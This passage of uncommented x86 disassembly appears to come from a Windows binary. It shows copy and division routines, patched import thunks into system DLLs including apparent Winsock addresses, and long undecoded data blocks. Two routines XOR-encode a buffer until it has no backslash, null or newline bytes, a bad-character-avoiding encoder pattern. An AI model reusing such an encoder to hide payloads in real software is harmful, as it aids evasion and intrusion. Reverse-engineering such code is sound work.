mov ecx, eax
mov eax, [esp+2044h]
and ecx, 3
test eax, eax
rep movsb
jz short loc_4376F2
push ebx
push ebp
call eax
add esp, 8
loc_4376F2: ; CODE XREF: ___:004376E9j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_437734: ; CODE XREF: ___:004377ADj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_437774
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_437774
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_437774
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4377AF
loc_437774: ; CODE XREF: ___:00437742j
; ___:00437752j ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+14h]
inc ecx
test ebx, ebx
mov [esp+14h], ecx
jle short loc_4377A6
loc_437799: ; CODE XREF: ___:004377A4j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_437799
loc_4377A6: ; CODE XREF: ___:00437797j
mov edx, [esp+10h]
mov [edx+13h], cl
jmp short loc_437734
; ---------------------------------------------------------------------------
loc_4377AF: ; CODE XREF: ___:00437772j
mov eax, [esp+18h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+2030h]
mov edx, [esp+202Ch]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+14h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+14h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
add esp, 200Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4378B0: ; CODE XREF: ___:0040191Fj
push ecx
push ebx
mov ebx, [esp+10h]
push ebp
push esi
push edi
push ebx
mov dword ptr [esp+14h], 98h
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+30h]
add esp, 8
mov ecx, 6
mov esi, (offset loc_448B97+1)
mov edi, edx
mov [esp+1Ch], edx
test eax, eax
rep movsd
jz short loc_43792D
push ebx
push ebp
call eax
add esp, 8
loc_43792D: ; CODE XREF: ___:00437924j
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_43796F: ; CODE XREF: ___:004379E8j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4379AF
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4379AF
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4379AF
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4379EA
loc_4379AF: ; CODE XREF: ___:0043797Dj
; ___:0043798Dj ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4379E1
loc_4379D4: ; CODE XREF: ___:004379DFj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4379D4
loc_4379E1: ; CODE XREF: ___:004379D2j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_43796F
; ---------------------------------------------------------------------------
loc_4379EA: ; CODE XREF: ___:004379ADj
mov eax, [esp+18h]
push eax
call near ptr 77C2C21Bh
nop
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 68h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437AB8 proc near ; CODE XREF: SEH_403530+5j
; SEH_403720+5j ...
nop
jmp near ptr 77C227FAh
sub_437AB8 endp
; ---------------------------------------------------------------------------
align 10h
byte_437AC0 db 90h ; DATA XREF: ___:off_43F004o
; ___:0043F018o ...
db 0E9h, 47h, 0E4h
dd 4DE9777Fh, 7E777E44h, 18F5E990h
; ---------------------------------------------------------------------------
jg short loc_437B49
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437AD2 proc near ; CODE XREF: ___:00406C30p
; sub_406C50+11p ...
nop
jmp near ptr 77C29CDDh
sub_437AD2 endp
; ---------------------------------------------------------------------------
dd 80FFB3E9h, 0E990B877h, 7781017Ch, 8101FCE9h
db 77h, 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437AEA proc near ; CODE XREF: sub_406C80+47p
; ___:00406D1Ap ...
nop
jmp near ptr 77C29CC5h
sub_437AEA endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0F1h, 99h
; ---------------------------------------------------------------------------
jle short loc_437B6D
mov eax, ecx
mov dword ptr [eax], offset off_43F1D4
retn 4
; ---------------------------------------------------------------------------
loc_437B01: ; DATA XREF: ___:off_43F1D4o
push esi
mov esi, ecx
call sub_437EBC
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_437B17
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
loc_437B17: ; CODE XREF: ___:00437B0Ej
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
mov eax, ecx
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_437B22 proc near ; CODE XREF: sub_409660+4Dp
; ___:0040AA7Dp
jmp near ptr 77C226F6h
sub_437B22 endp
; ---------------------------------------------------------------------------
db 58h
db 90h
db 0E9h, 5Ch, 84h
; ---------------------------------------------------------------------------
xor byte ptr [edi-34h], 0CCh
; =============== S U B R O U T I N E =======================================
sub_437B30 proc near ; CODE XREF: sub_40A110+5p
; sub_410030+1Ap ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_437B50
loc_437B3C: ; CODE XREF: sub_437B30+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
loc_437B49: ; CODE XREF: ___:00437AD0j
cmp eax, 1000h
jnb short loc_437B3C
loc_437B50: ; CODE XREF: sub_437B30+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_437B30 endp
; ---------------------------------------------------------------------------
db 0CCh
db 90h
db 0E9h, 2 dup(0FAh)
dd 0E9907780h, 777E5424h
db 90h
; ---------------------------------------------------------------------------
loc_437B6D: ; CODE XREF: ___:00437AF4j
jmp near ptr 77C3FA76h
; ---------------------------------------------------------------------------
dw 0D9E9h
dd 0E7780FEh, 802301E9h, 0E990C277h, 7780FD9Ch, 487DE990h
dd 3D83777Fh, 5109D4h, 0FF0C75FFh, 0E8042474h, 777FD25Ch
dd 68C35990h, 5109C4h, 5109D468h, 2474FF00h, 310E80Ch
dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
dd 0C348D8F7h, 464DE990h, 0E9E9777Fh, 20777FF5h, 0F5F9E990h
; ---------------------------------------------------------------------------
jg short loc_437C51
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437BDA proc near ; CODE XREF: sub_4199C0+28p
nop
jmp near ptr 77C4FA10h
sub_437BDA endp
; =============== S U B R O U T I N E =======================================
sub_437BE0 proc near ; CODE XREF: sub_41B920+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_437C01
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_437C51
; ---------------------------------------------------------------------------
loc_437C01: ; CODE XREF: sub_437BE0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_437C0F: ; CODE XREF: sub_437BE0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_437C0F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_437C3A
cmp edx, [esp+4+arg_4]
ja short loc_437C3A
jb short loc_437C42
cmp eax, [esp+4+arg_0]
jbe short loc_437C42
loc_437C3A: ; CODE XREF: sub_437BE0+4Aj
; sub_437BE0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_437C42: ; CODE XREF: sub_437BE0+52j
; sub_437BE0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_437C51: ; CODE XREF: ___:00437BD8j
; sub_437BE0+1Fj
pop ebx
retn 10h
sub_437BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_437C60 proc near ; CODE XREF: sub_41B920+30p
; sub_41B920+3Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_437C82
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_437CC3
; ---------------------------------------------------------------------------
loc_437C82: ; CODE XREF: sub_437C60+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_437C90: ; CODE XREF: sub_437C60+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_437C90
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_437CBE
cmp edx, [esp+8+arg_4]
ja short loc_437CBE
jb short loc_437CBF
cmp eax, [esp+8+arg_0]
jbe short loc_437CBF
loc_437CBE: ; CODE XREF: sub_437C60+4Ej
; sub_437C60+54j
dec esi
loc_437CBF: ; CODE XREF: sub_437C60+56j
; sub_437C60+5Cj
xor edx, edx
mov eax, esi
loc_437CC3: ; CODE XREF: sub_437C60+20j
pop esi
pop ebx
retn 10h
sub_437C60 endp
; ---------------------------------------------------------------------------
dd 808DE4E9h, 0E9902577h, 7780733Ch, 187E990h, 0E9907781h
dd 77809196h, 809516E9h, 0E990C077h, 77809888h, 8096ABE9h
dd 0E9909A77h, 77809A43h, 0FEE2E990h, 6FE97780h, 5377809Eh
dd 71ECE990h, 0E9907780h, 77809103h, 43ADE990h, 0E990777Fh
dd 777E4845h, 7FF0D1E9h, 0D3E9A977h, 39777FF4h, 758EE990h
dd 0FEE9777Eh, 477807Bh, 9B30E990h, 0E9907780h, 7780269Bh
dd 8025C2E9h, 0C8E92877h, 0E778113h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_437D4C proc near ; CODE XREF: ___:0043297Cp
jmp near ptr 77C3619Ch
sub_437D4C endp
; ---------------------------------------------------------------------------
retn 1DE9h
; ---------------------------------------------------------------------------
dd 0A4777FF0h, 8E53E990h, 83517780h, 8616FCFBh, 64A044C4h
dd 64D430C0h, 0B401F2C4h, 6D652C10h, 0D489FFBFh, 684618Fh
dd 5653DE64h, 0E8658957h, 5D89DB33h, 90026AFCh, 7FD5EBE8h
dd 0D835977h, 5109C4h, 0D40D83FFh, 0FF005109h, 7435E890h
dd 0D8B777Eh, 5108C4h, 0E8900889h, 777E73F0h, 8C00D8Bh
dd 8890051h, 511A28A1h, 0A3008B00h, 5109B8h, 12EE8h, 0C01D3900h
dd 7500448Ch, 7EF8680Ch, 96E80043h, 90778158h, 0FAE859h
dd 18680000h, 68004444h, 444314h, 0E5E8h, 8BCA100h, 45890051h
dd 94458D94h, 0B835FF50h, 8D005108h, 8D509C45h, 8D509045h
dd 0E850A045h, 777E70D3h, 42106890h, 680044h, 0E8004440h
dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
dd 22D8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 2439D86h
dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh
dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh
dd 0E8908875h, 77801FDEh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437EBC proc near ; CODE XREF: ___:00437B04p
nop
jmp near ptr 77C21868h
sub_437EBC endp
; ---------------------------------------------------------------------------
dw 8AE9h
dword_437EC4 dd 55777FCFh, 1FCCE990h, 0E9907780h, 777FAEDAh, 7011E990h
dd 0E990777Eh, 77801E87h, 3000068h, 6800h, 25E80001h, 59000000h
dd 0E990C359h, 7781577Dh, 0C3C3C033h, 72A2E990h, 0E990777Eh
dd 777E72D3h, 0D46EE990h, 0E990777Fh, 777FDD80h, 816F16E9h
dd 0E990CF77h, 75C6844Bh, 0C6852AE9h, 0E990DE75h, 75C5A102h
dd 7553E990h, 0F9E975C5h, 0E175C684h, 0A029E990h, 9E975C4h
dd 0A975C539h, 0F765E990h, 0E99075C5h, 75C4DB94h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437F50 proc near ; CODE XREF: sub_4193C0+17Ep
nop
jmp near ptr 76D6AC1Dh
sub_437F50 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 23A8CACh, 3A8CE0E9h, 0E9906F02h, 23B8098h, 3B8539E9h
dd 0E9900702h, 23C808Ch, 3C9139E9h, 81E9C702h, 0B8023D80h
dd 807AE990h, 0E990023Eh, 23E95D3h, 3E9833E9h, 0E9908802h
dd 23E9DE1h, 8062E990h, 0E990023Fh, 23F815Dh, 8966E990h
dd 0E990023Fh, 2408050h, 83FBE990h, 0E9900240h, 2418044h
dd 847EE990h, 0D6E90241h, 0AE024186h, 8032E990h, 0E9900242h
dd 243802Ch, 439053E9h, 0E9909A02h, 2439C32h, 44801BE9h
dd 0E9908802h, 2448673h, 448AF6E9h, 0E9900E02h, 2448C56h
dd 458003E9h, 0E9902502h, 23A88B8h, 7FF6E990h, 0F1E9023Ah
dd 8802397Fh, 8833E990h, 0E9900238h, 2387FE4h, 377FDFE9h
dd 55E9A102h, 0E6023688h, 36849AE9h, 0CDE9DE02h, 7E02367Fh
dd 358345E9h, 0E9909A02h, 23581B7h, 7FBAE990h, 0E990022Ch
dd 2358190h, 8168E990h, 0E9900235h, 7C4C9095h, 8FA7E990h
dd 0E9907C4Ch, 2357F9Ch, 8D8EE990h, 0E9900234h, 234865Fh
dd 347F8BE9h, 78E97602h, 702338Ah, 8984E990h, 0E9900233h
dd 2338860h, 338766E9h, 53E98002h, 0C023385h, 338376E9h
dd 0E9908302h, 2338102h, 7F5AE990h, 0E9900233h, 2328CCDh
dd 8987E990h, 0F7E90232h, 0C023288h, 8346E990h, 0E9900232h
dd 2328305h, 7F36E990h, 0E9900232h, 2318CC4h, 889FE990h
dd 53E90231h, 0D4023185h, 31820FE9h, 0E990E802h, 2317F18h
dd 8C9AE990h, 0E9900230h, 2308540h, 3082F4E9h, 0E9901602h
dd 2307F00h, 88C5E990h, 0E990022Fh, 22F811Bh, 7EEEE990h
dd 22E9022Fh, 2022E8Bh, 87D2E990h, 2DE9022Eh, 16022E86h
dd 2E7ED7E9h, 0D1E9A602h, 88022D7Eh, 0F39BE990h, 59E9001Bh
dd 16024586h, 4F908EE9h, 0E9904102h, 24B7EB8h, 4F7EB3E9h
dd 0E9909502h, 24E7EACh, 8BCDE990h, 0A1E9024Dh, 79024D7Eh
dd 84F3E990h, 71E9024Ch, 2D024C82h, 7E8EE990h, 0E990024Ch
dd 24B89FAh, 4B8760E9h, 0E9908D02h, 24B84C3h, 45897EE9h
dd 0E9909202h, 24A8822h, 8470E990h, 0E990024Ah, 24A8178h
dd 4A7E5FE9h, 59E93702h, 0E802497Eh, 7E52E990h, 55E90248h
dd 8802479Ah, 9648E990h, 0E9900247h, 24793E2h, 9258E990h
dd 0E9900247h, 2477E34h, 7E2EE990h, 0E9900246h, 7C608F38h
dd 0BD63E990h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4381DE proc near ; CODE XREF: ___:0042DBE1p
jmp near ptr 71AB4FD4h
sub_4381DE endp
; ---------------------------------------------------------------------------
db 0F0h
dd 686290E9h
db 71h, 0A6h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4381EA proc near ; CODE XREF: sub_42DBD1+1p
nop
jmp near ptr 71AB2BF4h
sub_4381EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4381F0 proc near ; CODE XREF: sub_42DF40+E5p
; sub_42EF60+4Fp
jmp near ptr 71AB615Ah
sub_4381F0 endp
; ---------------------------------------------------------------------------
db 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4381F6 proc near ; CODE XREF: sub_42E490+9Ap
; sub_42F040+45p ...
nop
jmp near ptr 71AB428Ah
sub_4381F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4381FC proc near ; CODE XREF: sub_42F2C0+53p
; sub_42F2C0+96p ...
jmp near ptr 71AB9639h
sub_4381FC endp
; ---------------------------------------------------------------------------
inc ecx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438202 proc near
nop
jmp near ptr 71AC1028h
sub_438202 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438208 proc near ; CODE XREF: sub_42E170+71p
; sub_42ED50+50p
jmp near ptr 71AB2DC0h
sub_438208 endp
; ---------------------------------------------------------------------------
db 6Fh, 90h, 0E9h
dd 7167A9ACh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438214 proc near
jmp near ptr 71AB88D3h
sub_438214 endp
; ---------------------------------------------------------------------------
db 0D9h, 90h, 0E9h
dd 7167A946h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438220 proc near ; CODE XREF: sub_42E870+187p
jmp near ptr 71AB951Eh
sub_438220 endp
; ---------------------------------------------------------------------------
db 6Ch
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438226 proc near
nop
jmp near ptr 71AB3E00h
sub_438226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43822C proc near ; CODE XREF: sub_42DB00+B1p
nop
jmp near ptr 71AB2B66h
sub_43822C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438232 proc near ; CODE XREF: ___:0042DC2Fp
; sub_42E870+152p
nop
jmp near ptr 71AB3B91h
sub_438232 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438238 proc near
nop
jmp near ptr 71AB406Ah
sub_438238 endp
; ---------------------------------------------------------------------------
dw 0E5E9h
; ---------------------------------------------------------------------------
shl dword ptr [edi+71h], 0EBh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438244 proc near ; CODE XREF: sub_42DA80+10p
nop
jmp near ptr 71AB664Dh
sub_438244 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 7167CE78h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438250 proc near ; CODE XREF: sub_434BA0+Bp
nop
jmp near ptr 71AB94DCh
sub_438250 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438256 proc near ; CODE XREF: sub_41A7D0+92p
; sub_41A9C0+CAp ...
nop
jmp near ptr 71AB4544h
sub_438256 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0EEh, 88h
; ---------------------------------------------------------------------------
push 0B1E99071h
retn 7167h
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 52h, 0A9h
dd 0E9907167h, 7167AA9Bh, 0A9EFE990h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43827A proc near
nop
jmp near ptr 71AB3EA1h
sub_43827A endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0E3h, 4
dd 0FEE97168h, 9F7167C1h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43828C proc near ; CODE XREF: sub_42DB00+53p
; sub_42DB00+C3p
nop
jmp near ptr 71ABE6EBh
sub_43828C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438292 proc near ; CODE XREF: sub_42F2C0+4Ap
nop
jmp near ptr 71AC0BDEh
sub_438292 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438298 proc near
jmp near ptr 71AB2A5Eh
sub_438298 endp
; ---------------------------------------------------------------------------
db 0BBh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43829E proc near ; CODE XREF: ___:0041C2B7p
; ___:0041C2CCp
nop
jmp near ptr 71B2578Ch
sub_43829E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4382A4 proc near ; CODE XREF: ___:0041C40Dp
; ___:0041C42Fp
jmp near ptr 71B25099h
sub_4382A4 endp
; ---------------------------------------------------------------------------
db 32h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382AA proc near ; CODE XREF: ___:00426390p
nop
jmp near ptr 71B2517Fh
sub_4382AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382B0 proc near ; CODE XREF: sub_420090+B4p
nop
jmp near ptr 76BF215Ah
sub_4382B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4382B6 proc near ; CODE XREF: sub_420090+9Bp
jmp near ptr 76BF1F1Ch
sub_4382B6 endp
; ---------------------------------------------------------------------------
db 39h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382BC proc near ; CODE XREF: sub_420090+21p
nop
jmp near ptr 76BF3A9Ah
sub_4382BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382C2 proc near ; CODE XREF: ___:0041B2B4p
nop
jmp near ptr 76F36C5Bh
sub_4382C2 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 80h, 0DFh
dword_4382CC dd 0E9907780h, 7780DE51h, 0DE96E990h, 0E9907780h, 7780E040h
dd 2C4h dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh, 8DFFFC84h
dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h
dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh
dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h
; ---------------------------------------------------------------------------
inc ebx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403530 proc near ; DATA XREF: sub_403530+2o
mov eax, offset dword_43F470
jmp sub_437AB8
SEH_403530 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9
jmp sub_401AE6
; ---------------------------------------------------------------------------
loc_438E6B: ; DATA XREF: ___:0043F4ECo
mov ecx, [ebp-10h]
add ecx, 52h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9Bh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E4h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 12Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 176h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1BFh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 208h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 251h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 29Ah
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2E3h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 32Ch
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 375h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3BEh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 407h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 450h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 499h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4E2h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 52Bh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 574h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 5BDh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 606h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64Fh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 698h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6E1h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 72Ah
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 773h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 7BCh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 805h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 84Eh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 897h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8E0h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 929h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 972h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9BBh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A04h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A4Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A96h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0ADFh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
